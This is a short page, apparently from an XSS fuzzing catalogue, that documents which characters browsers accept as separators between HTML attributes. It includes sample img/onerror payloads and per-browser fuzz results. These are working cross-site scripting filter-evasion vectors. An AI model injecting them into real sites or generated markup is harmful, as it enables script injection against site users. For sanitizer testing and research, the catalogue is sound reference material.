Characters allowed between HTML attributes
6
6
6
6This vector shows what characters can be used to separate HTML attributes
Created by0x999-x
Created Apr 10, 2024
Updated May 25, 2025
Detecting browser...
CategoryDOM Behavior
VisibilityPublic
TypeXSS
CharsetUTF-8
Template used:
<img$[chr]src$[chr]onerror=log($[i])>Sample payloads
<img0x09src0x09onerror=alert(9)><img
src
onerror=alert(10)><img0x0Csrc0x0Conerror=alert(12)><img0x0Dsrc0x0Donerror=alert(13)><img src onerror=alert(32)><img/src/onerror=alert(47)>Fuzz results
Chrome 144.0.0.0 desktop Windows NT 10.0
Updated
Sat Jan 31 2026
Found 6 results
Loading...
Chrome 143.0.0.0 desktop macOS 10.15.7older version
Updated
Sat Jan 31 2026
Found 6 results
Loading...
Chrome 124.0.0.0 Unknown Unknownolder version
Updated
Mon Apr 29 2024
Found 6 results
Loading...
Firefox 147.0 desktop Linux
Updated
Sun Feb 01 2026
Found 6 results
Loading...
Firefox 125.0 Unknown Unknownolder version
Updated
Mon Apr 29 2024
Found 6 results
Loading...
Microsoft Edge 144.0.0.0 desktop Windows NT 10.0
Updated
Sat Jan 31 2026
Found 6 results
Loading...
Safari 17.4 Unknown Unknown
Updated
Mon Apr 29 2024
Found 6 results
Loading...